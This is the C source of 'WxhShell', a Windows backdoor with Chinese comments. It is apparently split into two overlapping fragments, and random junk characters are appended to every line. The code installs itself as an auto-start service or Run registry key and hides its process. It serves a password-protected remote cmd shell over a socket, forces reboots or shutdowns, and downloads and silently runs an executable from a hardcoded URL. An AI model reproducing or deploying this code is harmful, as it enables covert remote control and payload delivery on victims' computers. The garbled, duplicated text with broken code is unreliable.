    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); `RfhxzI  
    if(Boot(SHUTDOWN)) %? _pSH}$!  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); zO2Z\E'% .  
    else { 6Ez}A|i  
    closesocket(wsh); N/Z3 EF_  
    ExitThread(0); +%8c8]2  
    } goeWZO  
    break; $TL~SVHj;{  
    } Sq}hx  
  // 获取shell H |Z9]+h)7  
  case 's': { Z= dEk`  
    CmdShell(wsh); MV H^["AeR  
    closesocket(wsh); m ,)4k&d  
    ExitThread(0); H6x~mZu_:T  
    break; W sQo+Ua  
  } `pE~M05  
  // 退出 ]0zXpMNI  
  case 'x': { 1Qtojph  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); fEWS3`Yy  
    CloseIt(wsh); %:N6#;l M  
    break;  Jt.dR6,  
    } P(d4~hS  
  // 离开 $&='&q  
  case 'q': { j{IAZs#@>  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); v}IkY  
    closesocket(wsh); # h]m8  
    WSACleanup(); !!b5vzyve  
    exit(1); =E8lpN'  
    break; D!ToCVos  
        } s9PD[u/y  
  } B8'" ^a^&-  
  } DT8|2"H  
xXE/pIXw  
  // 提示信息 ync2X{9D  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); .%h.b6^  
} T/V8&'^i  
  } E#`=xg  
#qGfo)  
  return; t]#y} V  
} @>_`g=  
B@Ez,u5  
// shell模块句柄 3 ~0Z.!O  
int CmdShell(SOCKET sock) G)';ucs:,  
{ {j+w|;dZF  
STARTUPINFO si; RRqHo~*0  
ZeroMemory(&si,sizeof(si)); d,CtlWp  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; 5*xk8*  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; 9; HR  
PROCESS_INFORMATION ProcessInfo; F``$}]9KHD  
char cmdline[]="cmd"; ~EG`[cv  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); (GJ)FWen0"  
  return 0; U,yU-8z/  
} ;"hED:z6%  
Q9H~B`\nQ  
// 自身启动模式 <LIL{g0eX  
int StartFromService(void) sWP5=t(i+9  
{ ` /#f8R1g  
typedef struct F=U3o=-:  
{ 'due'|#^  
  DWORD ExitStatus; ya0L8`q  
  DWORD PebBaseAddress; %Wkvo-rOq  
  DWORD AffinityMask;  ~Jrtm7  
  DWORD BasePriority; 8bLA6qmM\  
  ULONG UniqueProcessId; @tWyc%t  
  ULONG InheritedFromUniqueProcessId; $NC1>83  
}   PROCESS_BASIC_INFORMATION; L!Iu\_{q  
IqJ7'X  
PROCNTQSIP NtQueryInformationProcess; m!3b.2/h  
1P:r=Rt/  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; >KmOTM< {  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; >!MOgLO3  
U:ggZ`.  
  HANDLE             hProcess; /_5I}{  
  PROCESS_BASIC_INFORMATION pbi; fhw.A5Ck  
q{5wx8_U  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); !qsk;Vk7Z  
  if(NULL == hInst ) return 0; N=^{FZ  
0)`{]&  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); w?)v#]<-  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); ~s{yh-B  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); wYQTG*&h  
bmgK6OyVR  
  if (!NtQueryInformationProcess) return 0; rxH*h`Xx@  
4bLk+EY4A  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); 2A7g}V  
  if(!hProcess) return 0; 2`hc0 IE  
-.-j e"E  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; 47>IT  
np,L39:sf  
  CloseHandle(hProcess); 4A^=4"BCV  
Dnn$-W|NC  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); X~|P  
if(hProcess==NULL) return 0; @ c,KK~{  
i1k(3:ay<  
HMODULE hMod; D%GB2-j R  
char procName[255]; qplz !=  
unsigned long cbNeeded; X_GR{z%  
|g<1n  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); t)P5bQ+$u9  
Q[8L='E  
  CloseHandle(hProcess); PTL52+}/  
BnAia3z  
if(strstr(procName,"services")) return 1; // 以服务启动 Pi)`[\{  
\JN<"/  
  return 0; // 注册表启动 +2C:]  
} oa;[[2c  
2eb :(D7Cq  
// 主模块  dsJ}C|N  
int StartWxhshell(LPSTR lpCmdLine) QGLfZvTT  
{ Cw Z{&  
  SOCKET wsl; BflF*-s ^  
BOOL val=TRUE; "L{;=-e  
  int port=0; 1z[WJ}$u  
  struct sockaddr_in door; ,'82;oP4  
u5T \_0  
  if(wscfg.ws_autoins) Install(); D2?~03c  
n6ud;jN|  
port=atoi(lpCmdLine); !BK^5,4?--  
%{o5 }TqD  
if(port<=0) port=wscfg.ws_port; tTQ>pg1{qh  
B`T9dL[E4  
  WSADATA data; c#U x{^ZE  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; CEI#x~Oq  
MO/l(wO  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   I#$u(2.H  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); =\oNu&Q^  
  door.sin_family = AF_INET; FC vR  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); C{e:xGJK  
  door.sin_port = htons(port); ` LU&]NS3  
C7)].vUN  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { :@YZ6?hf  
closesocket(wsl); U/{cYX  
return 1; |urohua  
} Lqwc:%Y:_  
^H&6'A`  
  if(listen(wsl,2) == INVALID_SOCKET) { MIi:\m5  
closesocket(wsl); k('2K2P  
return 1; Udd|.JRd  
} 9)mJo(  
  Wxhshell(wsl); _(oJ8h(  
  WSACleanup(); u~a<Psp&|  
]FsPlxk6  
return 0; 2b3x|9o8  
<3ovCqa  
} L(AY)gB  
Nu|?s-   
// 以NT服务方式启动 lD 9'^J  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) s}/YcUK  
{ H-0deJ[>  
DWORD   status = 0; &hqGGfVsd  
  DWORD   specificError = 0xfffffff; % sT=>\  
P+oCcYp  
  serviceStatus.dwServiceType     = SERVICE_WIN32; ><^A4s  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; u9k##a4.E  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; |V:k8Ab  
  serviceStatus.dwWin32ExitCode     = 0; X~n Kuo  
  serviceStatus.dwServiceSpecificExitCode = 0; [,G]#<G?q  
  serviceStatus.dwCheckPoint       = 0; KHdj#3<AR  
  serviceStatus.dwWaitHint       = 0; .>h|e_E  
D|_}~T>;&  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); 2u#{K9g  
  if (hServiceStatusHandle==0) return; !4-NbtT  
1~ZDHfd5  
status = GetLastError();  21w<8:Vg  
  if (status!=NO_ERROR) D~8f6Ko"m  
{ /T*{Mo{B  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; (Tc ~  
    serviceStatus.dwCheckPoint       = 0; g/JAr<  
    serviceStatus.dwWaitHint       = 0; N[zI@>x  
    serviceStatus.dwWin32ExitCode     = status; 7r*>?]y+  
    serviceStatus.dwServiceSpecificExitCode = specificError; ib uA~\5  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); x{RTI#a.  
    return; n |.- :Zy  
  } :n>:*e@w%  
$c  f?`k  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; ?CM,k0  
  serviceStatus.dwCheckPoint       = 0; gY;N>Yq,C  
  serviceStatus.dwWaitHint       = 0; ${e(#bvGZ  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); vWzNsWPK"{  
} yvNYYp2r  
VJuPC  
// 处理NT服务事件,比如:启动、停止 `4l>%S8y:  
VOID WINAPI NTServiceHandler(DWORD fdwControl) cC WOG d  
{ AB+Zc ]  
switch(fdwControl) pmHd1 Wub  
{ vad" N  
case SERVICE_CONTROL_STOP: !A!zG)Ue<  
  serviceStatus.dwWin32ExitCode = 0; JEFW}M)UGv  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; xAz gQ  
  serviceStatus.dwCheckPoint   = 0; z,/dYvT<  
  serviceStatus.dwWaitHint     = 0; x7{,4js  
  { K\n %&w  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); 5p"*n kF  
  } KLA nW#  
  return; 2Uu,Vv  
case SERVICE_CONTROL_PAUSE: L{ .r8wSrI  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; w_A-:S 5C  
  break; _FAwW<S4B  
case SERVICE_CONTROL_CONTINUE: C8NbxP  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; TX;OA"3=\-  
  break; <2|x]b 8  
case SERVICE_CONTROL_INTERROGATE: /j3oHi$  
  break; X(E f=:  
}; .%~ L  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); `b9oH^}n j  
} q@Q|oB0W$)  
`Gsh<.w!7  
// 标准应用程序主函数 x40R)Led  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) MZ0uc2L=  
{ L~vNW6#W  
'fK_J}+P  
// 获取操作系统版本 |a^ydwb  
OsIsNt=GetOsVer(); 4p %`Lv  
GetModuleFileName(NULL,ExeFile,MAX_PATH); `.[hOQ7  
 FcfN]!  
  // 从命令行安装 7B7I'{d  
  if(strpbrk(lpCmdLine,"iI")) Install(); azOp53zR  
8|yhe%-O  
  // 下载执行文件 ~49+$.2  
if(wscfg.ws_downexe) { j7"E0Wc^o_  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) QC ]z--wu  
  WinExec(wscfg.ws_filenam,SW_HIDE); S :(1=@  
} .@=d I  
x-%nnC6e  
if(!OsIsNt) { w8{deSdfP  
// 如果时win9x,隐藏进程并且设置为注册表启动 5'oWd e  
HideProc(); A$1pMG~as  
StartWxhshell(lpCmdLine); o"'VI4  
} : PQA9U|  
else +{Q\B}3cj1  
  if(StartFromService()) rV2}> k  
  // 以服务方式启动 '@pav>UPD  
  StartServiceCtrlDispatcher(DispatchTable); iW |]-Ba\  
else c}rRNS$F  
  // 普通方式启动 ?:H9xJ_^  
  StartWxhshell(lpCmdLine); )[qY|yu  
Zsf<)Vx  
return 0; oZOFZ-<  
} *sL'6"#Cre  
]YOQIzkL4}  
gvwR16N  
+Pa!pj/< z  
===========================================  hi.{  
q8[Nr3.  
~ZvZ k  
 JTz1M~  
$dwv1@M2  
* z{D}L-&  
" (<8T*Xo  
Bv9;q3]z-  
#include <stdio.h> #2cH.`ty  
#include <string.h> !$_mWz  
#include <windows.h> )03.6 Pvs  
#include <winsock2.h> ?(g kk YI  
#include <winsvc.h> ;gW~+hW^  
#include <urlmon.h> ;q$<]X_S)}  
1J<-P9 vk+  
#pragma comment (lib, "Ws2_32.lib") .h7b 4J  
#pragma comment (lib, "urlmon.lib") U*6-Y%7  
q*'hSt@+D  
#define MAX_USER   100 // 最大客户端连接数 *w@>zkBl  
#define BUF_SOCK   200 // sock buffer mZq*o<kTA  
#define KEY_BUFF   255 // 输入 buffer =U,;/f  
-3w? y  
#define REBOOT     0   // 重启 t^h>~o' \  
#define SHUTDOWN   1   // 关机 d628@~ Ekn  
*[vf47)r!  
#define DEF_PORT   5000 // 监听端口 '{7A1yJnY%  
nLQ X? :  
#define REG_LEN     16   // 注册表键长度 ?]P&3UU>0z  
#define SVC_LEN     80   // NT服务名长度 @aj"1 2  
-Mv`|odY/  
// 从dll定义API _IgG8)k;  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); 65<p:  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); Mq*Sp UR  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); "CZ`hx1|^  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); | C2k(  
aC%0jJ<eo  
// wxhshell配置信息 5Impv3qaZ  
struct WSCFG { _~_Hup  
  int ws_port;         // 监听端口 nQ/ha9v=n  
  char ws_passstr[REG_LEN]; // 口令 bk>M4l61  
  int ws_autoins;       // 安装标记, 1=yes 0=no Z#o o8  
  char ws_regname[REG_LEN]; // 注册表键名 9Y/c<gbY  
  char ws_svcname[REG_LEN]; // 服务名 G LE`ba  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 wef QmRK  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 $'&`k,a3|P  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 K zM\+yC  
int ws_downexe;       // 下载执行标记, 1=yes 0=no SJy?^  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" IWMqmCbv  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 1"!<e$&$X  
c[j3_fn1]  
}; h~nl  
F oEZ1O<  
// default Wxhshell configuration ]Mtb~^joG  
struct WSCFG wscfg={DEF_PORT, VW'e&v1.  
    "xuhuanlingzhe", no;Yu  
    1, o}NKqA3  
    "Wxhshell", +\}]`uS:  
    "Wxhshell", =fRP9`y  
            "WxhShell Service", OCR x|  
    "Wrsky Windows CmdShell Service", al" 1T-  
    "Please Input Your Password: ", hL8QA!  
  1, F1/f:<}  
  "http://www.wrsky.com/wxhshell.exe", X?1 :Z|pJ  
  "Wxhshell.exe" x9@%L{*  
    }; !H.&"~w@  
d B?I (  
// 消息定义模块 6o{anHBB  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; tfdP#1E  
char *msg_ws_prompt="\n\r? for help\n\r#>"; P= S)V   
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; N;ssO,  
char *msg_ws_ext="\n\rExit."; P;A"`Il  
char *msg_ws_end="\n\rQuit."; a+J :1'  
char *msg_ws_boot="\n\rReboot..."; o 'yR^`  
char *msg_ws_poff="\n\rShutdown..."; xat)9Yb}0  
char *msg_ws_down="\n\rSave to "; gA.G:1v  
46$u}"E  
char *msg_ws_err="\n\rErr!"; *h]qh20t  
char *msg_ws_ok="\n\rOK!"; (*hA0&n  
tuUk48!2I  
char ExeFile[MAX_PATH]; \yM[?/<  
int nUser = 0; ;r`[6[AG  
HANDLE handles[MAX_USER]; )B8[w  
int OsIsNt; {;z3$/JB  
s7&% _!4  
SERVICE_STATUS       serviceStatus; m ;[z)-&"  
SERVICE_STATUS_HANDLE   hServiceStatusHandle;  ~LkReQI  
CZ1 tqAk-  
// 函数声明 2Ie50U  
int Install(void); PhW#=S  
int Uninstall(void);  V+(  
int DownloadFile(char *sURL, SOCKET wsh); 8mx5K-/,y^  
int Boot(int flag); s$`evX7D  
void HideProc(void); dJCu`34Y'|  
int GetOsVer(void); r:YAn^Lg  
int Wxhshell(SOCKET wsl); cZ o]*Gv.  
void TalkWithClient(void *cs); ^hZwm8G  
int CmdShell(SOCKET sock); fzSZ>I0R  
int StartFromService(void); n>!E ]  
int StartWxhshell(LPSTR lpCmdLine); oYOf<J  
Lu-owP7nB  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); rLP4l~V   
VOID WINAPI NTServiceHandler( DWORD fdwControl ); v "oO  
@dcW0WQ\  
// 数据结构和表定义 }S%a]  
SERVICE_TABLE_ENTRY DispatchTable[] = U6_1L,W  
{ A6#ob  
{wscfg.ws_svcname, NTServiceMain}, <!=TxV>}A  
{NULL, NULL} x6F\|nb  
}; yhUc]6`V.H  
u}#rS%SF*  
// 自我安装 G::6?+S  
int Install(void) o@ ;w!'  
{ 8f29Hj+  
  char svExeFile[MAX_PATH]; b8QW^Z  
  HKEY key; hRA.u'M  
  strcpy(svExeFile,ExeFile); :G}tvFcOAF  
q9Fc0(&Vf  
// 如果是win9x系统,修改注册表设为自启动 Sw(%j1uL  
if(!OsIsNt) { *~fN^{B'!  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { c~c3;  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); f+/^1~^  
  RegCloseKey(key); `D#l(gZ  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { 2|Tt3/Rn  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); #|$7. e  
  RegCloseKey(key); So!1l7b  
  return 0; 0.+iVOz+Y  
    } xD_jfAH'  
  } 0A}'.LI  
} +>I4@1qC-|  
else { 5[*MT%ms  
8vUP{f6{  
// 如果是NT以上系统,安装为系统服务 t`DUY3>36  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); f \4Qp  
if (schSCManager!=0) ZJw9 2Sb  
{ m]u#Dm7h  
  SC_HANDLE schService = CreateService `SIJszqc  
  ( A+[wH(  
  schSCManager, /M'b137  
  wscfg.ws_svcname, ^5GS !u"  
  wscfg.ws_svcdisp, 7 s[ ATu  
  SERVICE_ALL_ACCESS, j^64:3  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , r Ssv^W+  
  SERVICE_AUTO_START, B,gQeW&  
  SERVICE_ERROR_NORMAL, fA+M/}=  
  svExeFile, c85B-/  
  NULL, 0+S:2i/G  
  NULL, [s7I.rdGzz  
  NULL, (/hF~A  
  NULL, NS&~n^*k<  
  NULL M{(Y|3W  
  ); OB"QWdh  
  if (schService!=0) }!.7QpA$  
  { Kfj*#) SZ  
  CloseServiceHandle(schService); 2_Pe/  
  CloseServiceHandle(schSCManager); }B]FHpi  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); bUqO.FZ[  
  strcat(svExeFile,wscfg.ws_svcname); 9xu&n%L=  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { Ezml LFp.  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); 5hDE&hp  
  RegCloseKey(key); L\"=H4r  
  return 0; | _S9U|  
    } / Sp+MB9  
  } c=Z#7?k=Uz  
  CloseServiceHandle(schSCManager); Dd{{ d?;B  
} X5<L  
} N;D+]_;0|  
54 8@._-S  
return 1; $iF7hyZ  
} 1yE~#KpH  
=]Ek12.  
// 自我卸载 U O[p   
int Uninstall(void) 89 lPeFQ`  
{ DSnsi@Mi  
  HKEY key; lL83LhE}<  
dY O87n  
if(!OsIsNt) { /Pf7=P  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { :Z+(H+lyZ  
  RegDeleteValue(key,wscfg.ws_regname); "n05y}  
  RegCloseKey(key); SD697L9  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { z?i82B[Tm  
  RegDeleteValue(key,wscfg.ws_regname); eq/s8]uM  
  RegCloseKey(key); ',CcLN  
  return 0; Ao]F_hZ  
  } N.2rF  
} y24 0 +;a  
} >MhkNy  
else { * dNMnZ@Y  
*J$=UG,u  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); D1Fc7! TV  
if (schSCManager!=0) BS{">lPmx  
{ {!EbGIh  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); vR`KRI`{  
  if (schService!=0) 0Ifd!  
  { D)!k  
  if(DeleteService(schService)!=0) { :{Y,Nsa  
  CloseServiceHandle(schService); WFh!re%Z  
  CloseServiceHandle(schSCManager); ?Dfgyz  
  return 0; 8m6L\Z&  
  } Nd( $s[  
  CloseServiceHandle(schService); !WIL|\jbh  
  } hxtu^E/  
  CloseServiceHandle(schSCManager); AU7c = H:?  
} 1o$<pZZ  
} HWHGxg['r  
"OWq]q#  
return 1; F4:ssy^  
} jy1*E3vQ  
lw Kr$X4  
// 从指定url下载文件 `9F'mT#o/  
int DownloadFile(char *sURL, SOCKET wsh) Eu0 _/{:  
{ Jl4zj>8~  
  HRESULT hr; }2{%V^D)r  
char seps[]= "/"; ?HBc7$nW  
char *token; KQ2]VN"?_  
char *file; $60+}B`m  
char myURL[MAX_PATH]; >=B8PK+<  
char myFILE[MAX_PATH]; <CH7jbK  
C f<,\Aav  
strcpy(myURL,sURL); muY4:F.C(  
  token=strtok(myURL,seps); Dui<$jl0b  
  while(token!=NULL) *W0`+#Dcv  
  { l~\'Z2op   
    file=token; W"~G]a+  
  token=strtok(NULL,seps); [g%oo3`A  
  } /FQumqbnt  
8" \>1{^  
GetCurrentDirectory(MAX_PATH,myFILE); z:acrQwJ?1  
strcat(myFILE, "\\"); 0BBWuNF.  
strcat(myFILE, file); x0 j$]$  
  send(wsh,myFILE,strlen(myFILE),0); H7R1GaJ  
send(wsh,"...",3,0); UZXnABg,J  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); 3ldOOQW%  
  if(hr==S_OK) d F),  
return 0; 1[^2f70n  
else 2.CI^.5&  
return 1; x0 3|L!n  
B` n!IgF8  
} #LcF;1o%o2  
\N!k)6\  
// 系统电源模块 kELV]iWb  
int Boot(int flag) {@({po  
{ IV!&jL  
  HANDLE hToken; Xd{"+'29  
  TOKEN_PRIVILEGES tkp; QQ pe.oF  
BE:GB?XBH  
  if(OsIsNt) { W4X=.vr  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); TTBl5X  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); 3d \bB !  
    tkp.PrivilegeCount = 1; F2lTDuk>C  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; 8/]5h%  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); |wWBV{^  
if(flag==REBOOT) { 0f1*#8-6  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) U Tw\_s  
  return 0; ;}1*M !  
} BgUf:PT  
else { uh@ZHef[l  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) h=?#D0  
  return 0; tP7l ;EX4  
} ~ /]u72?rP  
  } qMKXS,s  
  else { qVE6ROSh  
if(flag==REBOOT) { \M<C6m5  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) Uz[#t1*  
  return 0; \za 0?b  
} <mi*AY  
else { \"|E8A6/  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) SW# 5px`  
  return 0; &Z#g/Hc  
} wtIXZU x  
} k0Rd:DxO  
hvwKhQ}wX  
return 1; /X; [ 9&  
} R:fERj<s  
MZl6 J  
// win9x进程隐藏模块 y)CnH4{  
void HideProc(void) #2^eGhwnI  
{ JPR o<jt=  
:bNqK0[rS  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); D!^&*Ia?2  
  if ( hKernel != NULL ) bXmX@A$#Io  
  { NI,i)OSEN  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); P uYAoKG  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); )7f;FWI  
    FreeLibrary(hKernel); DQui7dr)l  
  } @FO= 0_;y  
PFq1Zai}n|  
return; o9*}>J<+RQ  
} 8eGq.+5G  
ps[HvV"  
// 获取操作系统版本 BE>^;`K  
int GetOsVer(void) THEpW{.E  
{ oG{0 {%*@  
  OSVERSIONINFO winfo; QM wrt  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); zZR_&z<  
  GetVersionEx(&winfo); AWo\u!j  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) m~c6b{F3Z-  
  return 1; ktF\f[  
  else [ *P~\' U  
  return 0; t}6QU  
} uW;[FTcqy$  
]5O]=^ u0  
// 客户端句柄模块 FoQy@GnM5  
int Wxhshell(SOCKET wsl) BHu%x|d  
{ 9,?7mgZ p  
  SOCKET wsh; M!wa }  
  struct sockaddr_in client; Cut7  
  DWORD myID; EJW}&e/  
F$j?}  
  while(nUser<MAX_USER) /:;"rnvq  
{ GY t|[GC  
  int nSize=sizeof(client); "h5.^5E6  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); 2C Fgit  
  if(wsh==INVALID_SOCKET) return 1; Fhrj$  
H?_wsh4J  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); %Ze]6TP/><  
if(handles[nUser]==0) %M*2j%6  
  closesocket(wsh); N mA6L+  
else l3xI\{jn  
  nUser++; x~JOg57up  
  } r3NdE~OAi  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); K=Z.<f  
iv ~<me0F  
  return 0; `]=0oDG:1!  
}  MwC}  
#OlPnP2  
// 关闭 socket )A$xt)}P!{  
void CloseIt(SOCKET wsh)  r4M;]  
{ JRR,ooN*i  
closesocket(wsh); $-p9cyk  
nUser--; \beYb0(+  
ExitThread(0); OH13@k  
} IuY4R0Go  
{kghZur  
// 客户端请求句柄 +!K*FU=).  
void TalkWithClient(void *cs) N/zP!%L  
{ !;UoZ~  
6Nws>(Ij  
  SOCKET wsh=(SOCKET)cs; e^}@X[*'#  
  char pwd[SVC_LEN]; &I:ZJuQ4  
  char cmd[KEY_BUFF]; @A|#/]S1  
char chr[1]; r&+w)U~  
int i,j;  [a_o3  
2;K2|G7  
  while (nUser < MAX_USER) { H*P[tyz$  
1ozb tn  
if(wscfg.ws_passstr) { [$c"}=g[+  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); HQNpf1=D  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); ]=p^32  
  //ZeroMemory(pwd,KEY_BUFF); <.2jQ#So  
      i=0; q+} \ (|  
  while(i<SVC_LEN) { e{H(  
e$Mvl=NYp\  
  // 设置超时 /Pxny3  
  fd_set FdRead; pqTaN=R8  
  struct timeval TimeOut; [FZq'E"87  
  FD_ZERO(&FdRead); {.?pl]Zl6  
  FD_SET(wsh,&FdRead); <kk!nsI  
  TimeOut.tv_sec=8; oQ A,57B  
  TimeOut.tv_usec=0; OIIA^QyV  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); wD:2sri  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); cwOa"]t}  
/|lAxAm?  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); Ylyk/  
  pwd=chr[0]; ^ FM  
  if(chr[0]==0xd || chr[0]==0xa) { da i+"  
  pwd=0; tyWDa$u,u  
  break; dtE"1nR  
  } _ds;:*N+qA  
  i++; $fB j}\o  
    } &F:.OVzX  
CYlS8j  
  // 如果是非法用户,关闭 socket tLxeq?Oo]  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); J"Fp),  
} 4U16'd  
~4|Trz2T  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); V/:2xT  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); ]1pB7XL  
CB X}_]9X  
while(1) { C#4_`4{  
I~6 o<HO  
  ZeroMemory(cmd,KEY_BUFF); >t<\zC|~w  
f$tm<:)Y  
      // 自动支持客户端 telnet标准   y=.bn!u}z  
  j=0; ?20R\ ]U  
  while(j<KEY_BUFF) { Y%?*Lj|  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); Yg,;l-1  
  cmd[j]=chr[0]; i(OeE"YA  
  if(chr[0]==0xa || chr[0]==0xd) { nMZ)x-  
  cmd[j]=0; U82mO+}  
  break; ;TS%e[lFhQ  
  } Mi{ns $B%  
  j++; q3#+G:nh  
    } 0~K&P#iR  
=Xg/[J%  
  // 下载文件 8 ]exsn Z  
  if(strstr(cmd,"http://")) { PEm2w#X%L  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); <hj2'd U  
  if(DownloadFile(cmd,wsh)) vf$IF|  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); E4>}O;m0  
  else ,lStT+A  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); UAT\ .  
  } q\x.e.@  
